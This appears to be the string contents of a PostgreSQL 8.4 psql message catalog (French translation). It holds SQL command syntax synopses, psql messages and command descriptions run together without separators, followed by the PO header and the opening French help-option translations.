    | SYSID uidCREATE OPERATOR CLASS name [ DEFAULT ] FOR TYPE data_type
  USING index_method [ FAMILY family_name ] AS
  {  OPERATOR strategy_number operator_name [ ( op_type, op_type ) ]
   | FUNCTION support_number [ ( op_type [ , op_type ] ) ] funcname ( argument_type [, ...] )
   | STORAGE storage_type
  } [, ... ]CREATE OPERATOR FAMILY name USING index_methodCREATE OPERATOR name (
    PROCEDURE = funcname
    [, LEFTARG = lefttype ] [, RIGHTARG = righttype ]
    [, COMMUTATOR = com_op ] [, NEGATOR = neg_op ]
    [, RESTRICT = res_proc ] [, JOIN = join_proc ]
    [, HASHES ] [, MERGES ]
)CREATE ROLE name [ [ WITH ] option [ ... ] ]

where option can be:
    
      SUPERUSER | NOSUPERUSER
    | CREATEDB | NOCREATEDB
    | CREATEROLE | NOCREATEROLE
    | CREATEUSER | NOCREATEUSER
    | INHERIT | NOINHERIT
    | LOGIN | NOLOGIN
    | CONNECTION LIMIT connlimit
    | [ ENCRYPTED | UNENCRYPTED ] PASSWORD 'password'
    | VALID UNTIL 'timestamp' 
    | IN ROLE rolename [, ...]
    | IN GROUP rolename [, ...]
    | ROLE rolename [, ...]
    | ADMIN rolename [, ...]
    | USER rolename [, ...]
    | SYSID uidCREATE SCHEMA schemaname [ AUTHORIZATION username ] [ schema_element [ ... ] ]
CREATE SCHEMA AUTHORIZATION username [ schema_element [ ... ] ]CREATE SERVER servername [ TYPE 'servertype' ] [ VERSION 'serverversion' ]
    FOREIGN DATA WRAPPER fdwname
    [ OPTIONS ( option 'value' [, ... ] ) ]CREATE TABLESPACE tablespacename [ OWNER username ] LOCATION 'directory'CREATE TEXT SEARCH CONFIGURATION name (
    PARSER = parser_name |
    COPY = source_config
)CREATE TEXT SEARCH DICTIONARY name (
    TEMPLATE = template
    [, option = value [, ... ]]
)CREATE TEXT SEARCH PARSER name (
    START = start_function ,
    GETTOKEN = gettoken_function ,
    END = end_function ,
    LEXTYPES = lextypes_function
    [, HEADLINE = headline_function ]
)CREATE TEXT SEARCH TEMPLATE name (
    [ INIT = init_function , ]
    LEXIZE = lexize_function
)CREATE TRIGGER name { BEFORE | AFTER } { event [ OR ... ] }
    ON table [ FOR [ EACH ] { ROW | STATEMENT } ]
    EXECUTE PROCEDURE funcname ( arguments )CREATE TYPE name AS
    ( attribute_name data_type [, ... ] )

CREATE TYPE name AS ENUM
    ( 'label' [, ... ] )

CREATE TYPE name (
    INPUT = input_function,
    OUTPUT = output_function
    [ , RECEIVE = receive_function ]
    [ , SEND = send_function ]
    [ , TYPMOD_IN = type_modifier_input_function ]
    [ , TYPMOD_OUT = type_modifier_output_function ]
    [ , ANALYZE = analyze_function ]
    [ , INTERNALLENGTH = { internallength | VARIABLE } ]
    [ , PASSEDBYVALUE ]
    [ , ALIGNMENT = alignment ]
    [ , STORAGE = storage ]
    [ , LIKE = like_type ]
    [ , CATEGORY = category ]
    [ , PREFERRED = preferred ]
    [ , DEFAULT = default ]
    [ , ELEMENT = element ]
    [ , DELIMITER = delimiter ]
)

CREATE TYPE nameCREATE USER MAPPING FOR { username | USER | CURRENT_USER | PUBLIC }
    SERVER servername
    [ OPTIONS ( option 'value' [ , ... ] ) ]CREATE USER name [ [ WITH ] option [ ... ] ]

where option can be:
    
      SUPERUSER | NOSUPERUSER
    | CREATEDB | NOCREATEDB
    | CREATEROLE | NOCREATEROLE
    | CREATEUSER | NOCREATEUSER
    | INHERIT | NOINHERIT
    | LOGIN | NOLOGIN
    | CONNECTION LIMIT connlimit
    | [ ENCRYPTED | UNENCRYPTED ] PASSWORD 'password'
    | VALID UNTIL 'timestamp' 
    | IN ROLE rolename [, ...]
    | IN GROUP rolename [, ...]
    | ROLE rolename [, ...]
    | ADMIN rolename [, ...]
    | USER rolename [, ...]
    | SYSID uidCREATE [ DEFAULT ] CONVERSION name
    FOR source_encoding TO dest_encoding FROM funcnameCREATE [ OR REPLACE ] FUNCTION
    name ( [ [ argmode ] [ argname ] argtype [ { DEFAULT | = } defexpr ] [, ...] ] )
    [ RETURNS rettype
      | RETURNS TABLE ( colname coltype [, ...] ) ]
  { LANGUAGE langname
    | WINDOW
    | IMMUTABLE | STABLE | VOLATILE
    | CALLED ON NULL INPUT | RETURNS NULL ON NULL INPUT | STRICT
    | [ EXTERNAL ] SECURITY INVOKER | [ EXTERNAL ] SECURITY DEFINER
    | COST execution_cost
    | ROWS result_rows
    | SET configuration_parameter { TO value | = value | FROM CURRENT }
    | AS 'definition'
    | AS 'obj_file', 'link_symbol'
  } ...
    [ WITH ( attribute [, ...] ) ]CREATE [ OR REPLACE ] RULE name AS ON event
    TO table [ WHERE condition ]
    DO [ ALSO | INSTEAD ] { NOTHING | command | ( command ; command ... ) }CREATE [ OR REPLACE ] [ TEMP | TEMPORARY ] VIEW name [ ( column_name [, ...] ) ]
    AS queryCREATE [ PROCEDURAL ] LANGUAGE name
CREATE [ TRUSTED ] [ PROCEDURAL ] LANGUAGE name
    HANDLER call_handler [ VALIDATOR valfunction ]CREATE [ TEMPORARY | TEMP ] SEQUENCE name [ INCREMENT [ BY ] increment ]
    [ MINVALUE minvalue | NO MINVALUE ] [ MAXVALUE maxvalue | NO MAXVALUE ]
    [ START [ WITH ] start ] [ CACHE cache ] [ [ NO ] CYCLE ]
    [ OWNED BY { table.column | NONE } ]CREATE [ UNIQUE ] INDEX [ CONCURRENTLY ] name ON table [ USING method ]
    ( { column | ( expression ) } [ opclass ] [ ASC | DESC ] [ NULLS { FIRST | LAST } ] [, ...] )
    [ WITH ( storage_parameter = value [, ... ] ) ]
    [ TABLESPACE tablespace ]
    [ WHERE predicate ]CREATE [ [ GLOBAL | LOCAL ] { TEMPORARY | TEMP } ] TABLE table_name
    [ (column_name [, ...] ) ]
    [ WITH ( storage_parameter [= value] [, ... ] ) | WITH OIDS | WITHOUT OIDS ]
    [ ON COMMIT { PRESERVE ROWS | DELETE ROWS | DROP } ]
    [ TABLESPACE tablespace ]
    AS query
    [ WITH [ NO ] DATA ]CREATE [ [ GLOBAL | LOCAL ] { TEMPORARY | TEMP } ] TABLE table_name ( [
  { column_name data_type [ DEFAULT default_expr ] [ column_constraint [ ... ] ]
    | table_constraint
    | LIKE parent_table [ { INCLUDING | EXCLUDING } { DEFAULTS | CONSTRAINTS | INDEXES } ] ... }
    [, ... ]
] )
[ INHERITS ( parent_table [, ... ] ) ]
[ WITH ( storage_parameter [= value] [, ... ] ) | WITH OIDS | WITHOUT OIDS ]
[ ON COMMIT { PRESERVE ROWS | DELETE ROWS | DROP } ]
[ TABLESPACE tablespace ]

where column_constraint is:

[ CONSTRAINT constraint_name ]
{ NOT NULL | 
  NULL | 
  UNIQUE index_parameters |
  PRIMARY KEY index_parameters |
  CHECK ( expression ) |
  REFERENCES reftable [ ( refcolumn ) ] [ MATCH FULL | MATCH PARTIAL | MATCH SIMPLE ]
    [ ON DELETE action ] [ ON UPDATE action ] }
[ DEFERRABLE | NOT DEFERRABLE ] [ INITIALLY DEFERRED | INITIALLY IMMEDIATE ]

and table_constraint is:

[ CONSTRAINT constraint_name ]
{ UNIQUE ( column_name [, ... ] ) index_parameters |
  PRIMARY KEY ( column_name [, ... ] ) index_parameters |
  CHECK ( expression ) |
  FOREIGN KEY ( column_name [, ... ] ) REFERENCES reftable [ ( refcolumn [, ... ] ) ]
    [ MATCH FULL | MATCH PARTIAL | MATCH SIMPLE ] [ ON DELETE action ] [ ON UPDATE action ] }
[ DEFERRABLE | NOT DEFERRABLE ] [ INITIALLY DEFERRED | INITIALLY IMMEDIATE ]

index_parameters in UNIQUE and PRIMARY KEY constraints are:

[ WITH ( storage_parameter [= value] [, ... ] ) ]
[ USING INDEX TABLESPACE tablespace ]Cannot add cell to table content: total cell count of %d exceeded.
Cannot add header to table content: column count of %d exceeded.
Cannot loginCheckCheck constraints:CollationColumnColumn access privilegesCommand:     %s
Description: %s
Syntax:
%s

Composite type "%s.%s"Connection
Create DBCreate roleCtypeDEALLOCATE [ PREPARE ] { name | ALL }DECLARE name [ BINARY ] [ INSENSITIVE ] [ [ NO ] SCROLL ]
    CURSOR [ { WITH | WITHOUT } HOLD ] FOR queryDELETE FROM [ ONLY ] table [ * ] [ [ AS ] alias ]
    [ USING usinglist ]
    [ WHERE condition | WHERE CURRENT OF cursor_name ]
    [ RETURNING * | output_expression [ [ AS ] output_name ] [, ...] ]DISCARD { ALL | PLANS | TEMPORARY | TEMP }DROP AGGREGATE [ IF EXISTS ] name ( type [ , ... ] ) [ CASCADE | RESTRICT ]DROP CAST [ IF EXISTS ] (sourcetype AS targettype) [ CASCADE | RESTRICT ]DROP CONVERSION [ IF EXISTS ] name [ CASCADE | RESTRICT ]DROP DATABASE [ IF EXISTS ] nameDROP DOMAIN [ IF EXISTS ] name [, ...] [ CASCADE | RESTRICT ]DROP FOREIGN DATA WRAPPER [ IF EXISTS ] name [ CASCADE | RESTRICT ]DROP FUNCTION [ IF EXISTS ] name ( [ [ argmode ] [ argname ] argtype [, ...] ] )
    [ CASCADE | RESTRICT ]DROP GROUP [ IF EXISTS ] name [, ...]DROP INDEX [ IF EXISTS ] name [, ...] [ CASCADE | RESTRICT ]DROP OPERATOR CLASS [ IF EXISTS ] name USING index_method [ CASCADE | RESTRICT ]DROP OPERATOR FAMILY [ IF EXISTS ] name USING index_method [ CASCADE | RESTRICT ]DROP OPERATOR [ IF EXISTS ] name ( { lefttype | NONE } , { righttype | NONE } ) [ CASCADE | RESTRICT ]DROP OWNED BY name [, ...] [ CASCADE | RESTRICT ]DROP ROLE [ IF EXISTS ] name [, ...]DROP RULE [ IF EXISTS ] name ON relation [ CASCADE | RESTRICT ]DROP SCHEMA [ IF EXISTS ] name [, ...] [ CASCADE | RESTRICT ]DROP SEQUENCE [ IF EXISTS ] name [, ...] [ CASCADE | RESTRICT ]DROP SERVER [ IF EXISTS ] servername [ CASCADE | RESTRICT ]DROP TABLE [ IF EXISTS ] name [, ...] [ CASCADE | RESTRICT ]DROP TABLESPACE [ IF EXISTS ] tablespacenameDROP TEXT SEARCH CONFIGURATION [ IF EXISTS ] name [ CASCADE | RESTRICT ]DROP TEXT SEARCH DICTIONARY [ IF EXISTS ] name [ CASCADE | RESTRICT ]DROP TEXT SEARCH PARSER [ IF EXISTS ] name [ CASCADE | RESTRICT ]DROP TEXT SEARCH TEMPLATE [ IF EXISTS ] name [ CASCADE | RESTRICT ]DROP TRIGGER [ IF EXISTS ] name ON table [ CASCADE | RESTRICT ]DROP TYPE [ IF EXISTS ] name [, ...] [ CASCADE | RESTRICT ]DROP USER MAPPING [ IF EXISTS ] FOR { username | USER | CURRENT_USER | PUBLIC } SERVER servernameDROP USER [ IF EXISTS ] name [, ...]DROP VIEW [ IF EXISTS ] name [, ...] [ CASCADE | RESTRICT ]DROP [ PROCEDURAL ] LANGUAGE [ IF EXISTS ] name [ CASCADE | RESTRICT ]Default footer is off.Default footer is on.Default?DescriptionDestinationDictionariesDid not find any relation named "%s".
Did not find any relation with OID %s.
Did not find any text search configuration named "%s".
Did not find any text search parser named "%s".
Disabled rules:Disabled triggers:END [ WORK | TRANSACTION ]EXECUTE name [ ( parameter [, ...] ) ]EXPLAIN [ ANALYZE ] [ VERBOSE ] statementElementsEncodingEnd parseEnter data to be copied followed by a newline.
End with a backslash and a period on a line by itself.Enter it again: Enter new password: Expanded display is off.
Expanded display is on.
FETCH [ direction { FROM | IN } ] cursorname

where direction can be empty or one of:

    NEXT
    PRIOR
    FIRST
    LAST
    ABSOLUTE count
    RELATIVE count
    count
    ALL
    FORWARD
    FORWARD count
    FORWARD ALL
    BACKWARD
    BACKWARD count
    BACKWARD ALLFailed.
Field separator is "%s".
Foreign-data wrapperForeign-key constraints:Formatting
FunctionGRANT { { SELECT | INSERT | UPDATE | DELETE | TRUNCATE | REFERENCES | TRIGGER }
    [,...] | ALL [ PRIVILEGES ] }
    ON [ TABLE ] tablename [, ...]
    TO { [ GROUP ] rolename | PUBLIC } [, ...] [ WITH GRANT OPTION ]

GRANT { { SELECT | INSERT | UPDATE | REFERENCES } ( column [, ...] )
    [,...] | ALL [ PRIVILEGES ] ( column [, ...] ) }
    ON [ TABLE ] tablename [, ...]
    TO { [ GROUP ] rolename | PUBLIC } [, ...] [ WITH GRANT OPTION ]

GRANT { { USAGE | SELECT | UPDATE }
    [,...] | ALL [ PRIVILEGES ] }
    ON SEQUENCE sequencename [, ...]
    TO { [ GROUP ] rolename | PUBLIC } [, ...] [ WITH GRANT OPTION ]

GRANT { { CREATE | CONNECT | TEMPORARY | TEMP } [,...] | ALL [ PRIVILEGES ] }
    ON DATABASE dbname [, ...]
    TO { [ GROUP ] rolename | PUBLIC } [, ...] [ WITH GRANT OPTION ]

GRANT { USAGE | ALL [ PRIVILEGES ] }
    ON FOREIGN DATA WRAPPER fdwname [, ...]
    TO { [ GROUP ] rolename | PUBLIC } [, ...] [ WITH GRANT OPTION ]

GRANT { USAGE | ALL [ PRIVILEGES ] }
    ON FOREIGN SERVER servername [, ...]
    TO { [ GROUP ] rolename | PUBLIC } [, ...] [ WITH GRANT OPTION ]

GRANT { EXECUTE | ALL [ PRIVILEGES ] }
    ON FUNCTION funcname ( [ [ argmode ] [ argname ] argtype [, ...] ] ) [, ...]
    TO { [ GROUP ] rolename | PUBLIC } [, ...] [ WITH GRANT OPTION ]

GRANT { USAGE | ALL [ PRIVILEGES ] }
    ON LANGUAGE langname [, ...]
    TO { [ GROUP ] rolename | PUBLIC } [, ...] [ WITH GRANT OPTION ]

GRANT { { CREATE | USAGE } [,...] | ALL [ PRIVILEGES ] }
    ON SCHEMA schemaname [, ...]
    TO { [ GROUP ] rolename | PUBLIC } [, ...] [ WITH GRANT OPTION ]

GRANT { CREATE | ALL [ PRIVILEGES ] }
    ON TABLESPACE tablespacename [, ...]
    TO { [ GROUP ] rolename | PUBLIC } [, ...] [ WITH GRANT OPTION ]

GRANT role [, ...] TO rolename [, ...] [ WITH ADMIN OPTION ]General
General options:
Get headlineGet next tokenGet token typesHas OIDsIDINSERT INTO table [ ( column [, ...] ) ]
    { DEFAULT VALUES | VALUES ( { expression | DEFAULT } [, ...] ) [, ...] | query }
    [ RETURNING * | output_expression [ [ AS ] output_name ] [, ...] ]Implicit?Index "%s.%s"Indexes:Informational
InheritsInitInit optionsInput/Output
Internal nameInterrupted
Invalid command \%s. Try \? for help.
LISTEN nameLOAD 'filename'LOCK [ TABLE ] [ ONLY ] name [ * ] [, ...] [ IN lockmode MODE ] [ NOWAIT ]

where lockmode is one of:

    ACCESS SHARE | ROW SHARE | ROW EXCLUSIVE | SHARE UPDATE EXCLUSIVE
    | SHARE | SHARE ROW EXCLUSIVE | EXCLUSIVE | ACCESS EXCLUSIVELanguageLarge Objects
Large objectsLeft arg typeLexizeList of aggregate functionsList of castsList of conversionsList of data typesList of databasesList of domainsList of foreign serversList of foreign-data wrappersList of functionsList of operatorsList of relationsList of rolesList of schemasList of tablespacesList of text search configurationsList of text search dictionariesList of text search parsersList of text search templatesList of user mappingsLocale-adjusted numeric output is off.LocationMOVE [ direction { FROM | IN } ] cursornameMember ofMethodModifierModifiersNOTIFY nameNameNo changesNo connectionsNo help available for "%-.*s".
Try \h with no arguments to see available help.
No inheritanceNo matching relations found.
No relations found.
Null display is "%s".
ObjectObject descriptionsOperating System
OptionsOutput format is %s.
OwnerPREPARE TRANSACTION transaction_idPREPARE name [ ( datatype [, ...] ) ] AS statementPager is always used.Pager is used for long output.Pager usage is off.Password encryption failed.
Password for user %s: Password: Passwords didn't match.
Previous connection kept
Query Buffer
Query buffer is empty.Query buffer reset (cleared).REASSIGN OWNED BY old_role [, ...] TO new_roleREINDEX { INDEX | TABLE | DATABASE | SYSTEM } name [ FORCE ]RELEASE [ SAVEPOINT ] savepoint_nameRESET configuration_parameter
RESET ALLREVOKE [ GRANT OPTION FOR ]
    { { SELECT | INSERT | UPDATE | DELETE | TRUNCATE | REFERENCES | TRIGGER }
    [,...] | ALL [ PRIVILEGES ] }
    ON [ TABLE ] tablename [, ...]
    FROM { [ GROUP ] rolename | PUBLIC } [, ...]
    [ CASCADE | RESTRICT ]

REVOKE [ GRANT OPTION FOR ]
    { { SELECT | INSERT | UPDATE | REFERENCES } ( column [, ...] )
    [,...] | ALL [ PRIVILEGES ] ( column [, ...] ) }
    ON [ TABLE ] tablename [, ...]
    FROM { [ GROUP ] rolename | PUBLIC } [, ...]
    [ CASCADE | RESTRICT ]

REVOKE [ GRANT OPTION FOR ]
    { { USAGE | SELECT | UPDATE }
    [,...] | ALL [ PRIVILEGES ] }
    ON SEQUENCE sequencename [, ...]
    FROM { [ GROUP ] rolename | PUBLIC } [, ...]
    [ CASCADE | RESTRICT ]

REVOKE [ GRANT OPTION FOR ]
    { { CREATE | CONNECT | TEMPORARY | TEMP } [,...] | ALL [ PRIVILEGES ] }
    ON DATABASE dbname [, ...]
    FROM { [ GROUP ] rolename | PUBLIC } [, ...]
    [ CASCADE | RESTRICT ]

REVOKE [ GRANT OPTION FOR ]
    { USAGE | ALL [ PRIVILEGES ] }
    ON FOREIGN DATA WRAPPER fdwname [, ...]
    FROM { [ GROUP ] rolename | PUBLIC } [, ...]
    [ CASCADE | RESTRICT ]

REVOKE [ GRANT OPTION FOR ]
    { USAGE | ALL [ PRIVILEGES ] }
    ON FOREIGN SERVER servername [, ...]
    FROM { [ GROUP ] rolename | PUBLIC } [, ...]
    [ CASCADE | RESTRICT ]

REVOKE [ GRANT OPTION FOR ]
    { EXECUTE | ALL [ PRIVILEGES ] }
    ON FUNCTION funcname ( [ [ argmode ] [ argname ] argtype [, ...] ] ) [, ...]
    FROM { [ GROUP ] rolename | PUBLIC } [, ...]
    [ CASCADE | RESTRICT ]

REVOKE [ GRANT OPTION FOR ]
    { USAGE | ALL [ PRIVILEGES ] }
    ON LANGUAGE langname [, ...]
    FROM { [ GROUP ] rolename | PUBLIC } [, ...]
    [ CASCADE | RESTRICT ]

REVOKE [ GRANT OPTION FOR ]
    { { CREATE | USAGE } [,...] | ALL [ PRIVILEGES ] }
    ON SCHEMA schemaname [, ...]
    FROM { [ GROUP ] rolename | PUBLIC } [, ...]
    [ CASCADE | RESTRICT ]

REVOKE [ GRANT OPTION FOR ]
    { CREATE | ALL [ PRIVILEGES ] }
    ON TABLESPACE tablespacename [, ...]
    FROM { [ GROUP ] rolename | PUBLIC } [, ...]
    [ CASCADE | RESTRICT ]

REVOKE [ ADMIN OPTION FOR ]
    role [, ...] FROM rolename [, ...]
    [ CASCADE | RESTRICT ]ROLLBACK PREPARED transaction_idROLLBACK [ WORK | TRANSACTION ]ROLLBACK [ WORK | TRANSACTION ] TO [ SAVEPOINT ] savepoint_nameRecord separator is "%s".
Record separator is <newline>.Referenced by:Report bugs to <pgsql-bugs@postgresql.org>.
Result data typeResult typeRight arg typeRole nameRules firing always:Rules firing on replica only:Rules:SAVEPOINT savepoint_nameSET CONSTRAINTS { ALL | name [, ...] } { DEFERRED | IMMEDIATE }SET TRANSACTION transaction_mode [, ...]
SET SESSION CHARACTERISTICS AS TRANSACTION transaction_mode [, ...]

where transaction_mode is one of:

    ISOLATION LEVEL { SERIALIZABLE | REPEATABLE READ | READ COMMITTED | READ UNCOMMITTED }
    READ WRITE | READ ONLYSET [ SESSION | LOCAL ] ROLE rolename
SET [ SESSION | LOCAL ] ROLE NONE
RESET ROLESET [ SESSION | LOCAL ] SESSION AUTHORIZATION username
SET [ SESSION | LOCAL ] SESSION AUTHORIZATION DEFAULT
RESET SESSION AUTHORIZATIONSET [ SESSION | LOCAL ] configuration_parameter { TO | = } { value | 'value' | DEFAULT }
SET [ SESSION | LOCAL ] TIME ZONE { timezone | LOCAL | DEFAULT }SHOW name
SHOW ALLSSL connection (cipher: %s, bits: %i)
SSL connection (unknown cipher)
START TRANSACTION [ transaction_mode [, ...] ]

where transaction_mode is one of:

    ISOLATION LEVEL { SERIALIZABLE | REPEATABLE READ | READ COMMITTED | READ UNCOMMITTED }
    READ WRITE | READ ONLYSchemaSequence "%s.%s"ServerShowing locale-adjusted numeric output.Showing only tuples.SizeSourceSource codeSource typeSpecial relation "%s.%s"Start parseStorageSucceeded.
SuperuserTOAST table "%s.%s"TRUNCATE [ TABLE ] [ ONLY ] name [ * ] [, ... ]
    [ RESTART IDENTITY | CONTINUE IDENTITY ] [ CASCADE | RESTRICT ]TableTable "%s.%s"Table attribute is "%s".
Table attributes unset.
TablespaceTablespace: "%s"Target typeTarget width for "wrapped" format is %d.
TemplateText search configuration "%s"Text search configuration "%s.%s"Text search parser "%s"Text search parser "%s.%s"The connection to the server was lost. Attempting reset: The server (version %d.%d) does not support editing function source.
The server (version %d.%d) does not support foreign servers.
The server (version %d.%d) does not support foreign-data wrappers.
The server (version %d.%d) does not support full text search.
The server (version %d.%d) does not support savepoints for ON_ERROR_ROLLBACK.
The server (version %d.%d) does not support tablespaces.
The server (version %d.%d) does not support user mappings.
Time: %.3f ms
Timing is off.Timing is on.Title is "%s".
Title is unset.
TokenToken nameToken types for parser "%s"Token types for parser "%s.%s"Triggers firing always:Triggers firing on replica only:Triggers:Try "%s --help" for more information.
Tuples only is off.TypeType "help" for help.

Type:  \copyright for distribution terms
       \h for help with SQL commands
       \? for help with psql commands
       \g or terminate with semicolon to execute query
       \q to quit
UNLISTEN { name | * }UPDATE [ ONLY ] table [ * ] [ [ AS ] alias ]
    SET { column = { expression | DEFAULT } |
          ( column [, ...] ) = ( { expression | DEFAULT } [, ...] ) } [, ...]
    [ FROM fromlist ]
    [ WHERE condition | WHERE CURRENT OF cursor_name ]
    [ RETURNING * | output_expression [ [ AS ] output_name ] [, ...] ]Usage:
Use "\q" to leave %s.
User nameVACUUM [ FULL ] [ FREEZE ] [ VERBOSE ] [ table ]
VACUUM [ FULL ] [ FREEZE ] [ VERBOSE ] ANALYZE [ table [ (column [, ...] ) ] ]VALUES ( expression [, ...] ) [, ...]
    [ ORDER BY sort_expression [ ASC | DESC | USING operator ] [, ...] ]
    [ LIMIT { count | ALL } ]
    [ OFFSET start [ ROW | ROWS ] ]
    [ FETCH { FIRST | NEXT } [ count ] { ROW | ROWS } ONLY ]ValidatorValueVariables
VersionView "%s.%s"View definition:VolatilityWARNING: %s version %d.%d, server version %d.%d.
         Some psql features might not work.
WARNING: Console code page (%u) differs from Windows code page (%u)
         8-bit characters might not work correctly. See psql reference
         page "Notes for Windows users" for details.
Wrote history to file "%s/%s".
You are currently not connected to a database.
You are now connected to database "%s"You are using psql, the command-line interface to PostgreSQL.[ WITH [ RECURSIVE ] with_query [, ...] ]
SELECT [ ALL | DISTINCT [ ON ( expression [, ...] ) ] ]
    * | expression [ [ AS ] output_name ] [, ...]
    INTO [ TEMPORARY | TEMP ] [ TABLE ] new_table
    [ FROM from_item [, ...] ]
    [ WHERE condition ]
    [ GROUP BY expression [, ...] ]
    [ HAVING condition [, ...] ]
    [ WINDOW window_name AS ( window_definition ) [, ...] ]
    [ { UNION | INTERSECT | EXCEPT } [ ALL ] select ]
    [ ORDER BY expression [ ASC | DESC | USING operator ] [ NULLS { FIRST | LAST } ] [, ...] ]
    [ LIMIT { count | ALL } ]
    [ OFFSET start [ ROW | ROWS ] ]
    [ FETCH { FIRST | NEXT } [ count ] { ROW | ROWS } ONLY ]
    [ FOR { UPDATE | SHARE } [ OF table_name [, ...] ] [ NOWAIT ] [...] ][ WITH [ RECURSIVE ] with_query [, ...] ]
SELECT [ ALL | DISTINCT [ ON ( expression [, ...] ) ] ]
    * | expression [ [ AS ] output_name ] [, ...]
    [ FROM from_item [, ...] ]
    [ WHERE condition ]
    [ GROUP BY expression [, ...] ]
    [ HAVING condition [, ...] ]
    [ WINDOW window_name AS ( window_definition ) [, ...] ]
    [ { UNION | INTERSECT | EXCEPT } [ ALL ] select ]
    [ ORDER BY expression [ ASC | DESC | USING operator ] [ NULLS { FIRST | LAST } ] [, ...] ]
    [ LIMIT { count | ALL } ]
    [ OFFSET start [ ROW | ROWS ] ]
    [ FETCH { FIRST | NEXT } [ count ] { ROW | ROWS } ONLY ]
    [ FOR { UPDATE | SHARE } [ OF table_name [, ...] ] [ NOWAIT ] [...] ]

where from_item can be one of:

    [ ONLY ] table_name [ * ] [ [ AS ] alias [ ( column_alias [, ...] ) ] ]
    ( select ) [ AS ] alias [ ( column_alias [, ...] ) ]
    with_query_name [ [ AS ] alias [ ( column_alias [, ...] ) ] ]
    function_name ( [ argument [, ...] ] ) [ AS ] alias [ ( column_alias [, ...] | column_definition [, ...] ) ]
    function_name ( [ argument [, ...] ] ) AS ( column_definition [, ...] )
    from_item [ NATURAL ] join_type from_item [ ON join_condition | USING ( join_column [, ...] ) ]

and with_query is:

    with_query_name [ ( column_name [, ...] ) ] AS ( select )

TABLE { [ ONLY ] table_name [ * ] | with_query_name }\!: failed
\%s: could not change directory to "%s": %s
\%s: error
\%s: extra argument "%s" ignored
\%s: missing required argument
\connect: %s\copy: %s\copy: arguments required
\copy: parse error at "%s"
\copy: parse error at end of line
\copy: unexpected response (%d)
\df does not take a "w" option with server version %d.%d
\df only takes [antwS+] as options
\pset: allowed formats are unaligned, aligned, wrapped, html, latex, troff-ms
\pset: unknown option: %s
abort the current transactionaborted because of read failureaggaggregatecancel a transaction that was earlier prepared for two-phase commitcanceled by usercannot locate temporary directory: %s
change a databasechange a database rolechange a run-time parameterchange role name or membershipchange the definition of a conversionchange the definition of a domainchange the definition of a foreign serverchange the definition of a foreign-data wrapperchange the definition of a functionchange the definition of a procedural languagechange the definition of a schemachange the definition of a sequence generatorchange the definition of a tablechange the definition of a tablespacechange the definition of a text search configurationchange the definition of a text search dictionarychange the definition of a text search parserchange the definition of a text search templatechange the definition of a triggerchange the definition of a typechange the definition of a user mappingchange the definition of a viewchange the definition of an aggregate functionchange the definition of an indexchange the definition of an operatorchange the definition of an operator classchange the definition of an operator familychange the ownership of database objects owned by a database rolechild process exited with exit code %dchild process exited with unrecognized status %dchild process was terminated by exception 0x%Xchild process was terminated by signal %dchild process was terminated by signal %sclose a cursorcluster a table according to an indexcollect statistics about a databasecommit a transaction that was earlier prepared for two-phase commitcommit the current transactioncompute a set of rowsconnection to server was lost
contains support for command-line editingcopy data between a file and a tablecould not change directory to "%s"could not find a "%s" to executecould not get current user name: %s
could not get home directory: %s
could not identify current directory: %scould not open temporary file "%s": %s
could not read binary "%s"could not read from input file: %s
could not read symbolic link "%s"could not save history to file "%s": %s
could not start /bin/sh
could not start editor "%s"
could not write COPY data: %s
create a new databasecreate new rows in a tabledata typedeallocate a prepared statementdefault %sdefine a cursordefine a new aggregate functiondefine a new castdefine a new constraint triggerdefine a new data typedefine a new database roledefine a new domaindefine a new encoding conversiondefine a new foreign serverdefine a new foreign-data wrapperdefine a new functiondefine a new indexdefine a new mapping of a user to a foreign serverdefine a new operatordefine a new operator classdefine a new operator familydefine a new procedural languagedefine a new rewrite ruledefine a new savepoint within the current transactiondefine a new schemadefine a new sequence generatordefine a new tabledefine a new table from the results of a querydefine a new tablespacedefine a new text search configurationdefine a new text search dictionarydefine a new text search parserdefine a new text search templatedefine a new triggerdefine a new viewdefine access privilegesdefine or change the comment of an objectdelete rows of a tabledestroy a previously defined savepointdiscard session stateempty a table or set of tablesexecute a prepared statementfor table "%s.%s"force a transaction log checkpointfunctiongarbage-collect and optionally analyze a databasegenerate a notificationhistory is not supported by this installation
immutablein assignmentindexinvalid binary "%s"invalid command \%s
invalid output format (internal error): %dlisten for a notificationload a shared library filelocal socketlock a tablenono query buffer
normalnot nulloffonoperatorout of memory
position a cursorprepare a statement for executionprepare the current transaction for two-phase commitprimary key, psql is the PostgreSQL interactive terminal.

rebuild indexesremove a castremove a conversionremove a data typeremove a databaseremove a database roleremove a domainremove a foreign server descriptorremove a foreign-data wrapperremove a functionremove a procedural languageremove a rewrite ruleremove a schemaremove a sequenceremove a tableremove a tablespaceremove a text search configurationremove a text search dictionaryremove a text search parserremove a text search templateremove a triggerremove a user mapping for a foreign serverremove a viewremove access privilegesremove an aggregate functionremove an indexremove an operatorremove an operator classremove an operator familyremove database objects owned by a database rolerestore the value of a run-time parameter to the default valueretrieve rows from a query using a cursorretrieve rows from a table or viewroll back to a savepointrulesequenceset constraint checking modes for the current transactionset the characteristics of the current transactionset the current user identifier of the current sessionset the session user identifier and the current user identifier of the current sessionshow the execution plan of a statementshow the value of a run-time parameterspecialstablestart a transaction blockstop listening for a notificationtabletriggertrying to exit copy modeunique, update rows of a tableviewvolatilewindowyesProject-Id-Version: PostgreSQL 8.4
Report-Msgid-Bugs-To: pgsql-bugs@postgresql.org
POT-Creation-Date: 2012-12-02 13:43+0000
PO-Revision-Date: 2012-12-02 15:38+0100
Last-Translator: Guillaume Lelarge <guillaume@lelarge.info>
Language-Team: French <guillaume@lelarge.info>
Language: fr
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=(n > 1);

Options de connexion :

Pour en savoir davantage, saisissez « \? » (pour les commandes internes) ou
« \help » (pour les commandes SQL) dans psql, ou consultez la section psql
de la documentation de PostgreSQL.


Options d'entrée/sortie :

Options de formattage de la sortie :

Analyseur : « %s »
Analyseur : « %s.%s »  (options : S = affiche les objets systèmes, + = informations supplémentaires)
  --help          affiche cette aide, puis quitte
  --version       affiche la version, puis quitte
  -1 (« un »), --single-transaction
                  exécute un fichier de commande dans une transaction unique
  -A, --no-align  active le mode d'affichage non aligné des tables (-P
                  format=unaligned)
  -E, --echo-hidden
                  affiche les requêtes engendrées par les commandes internes
  -F, --field-separator=CHAINE
                  initialise le séparateur de champs (par défaut : « %s »)
                  (-P fieldsep=)
  -H, --html      active le mode d'affichage HTML des tables (-P                  format=html)
  -L, --log-file=FICHIER
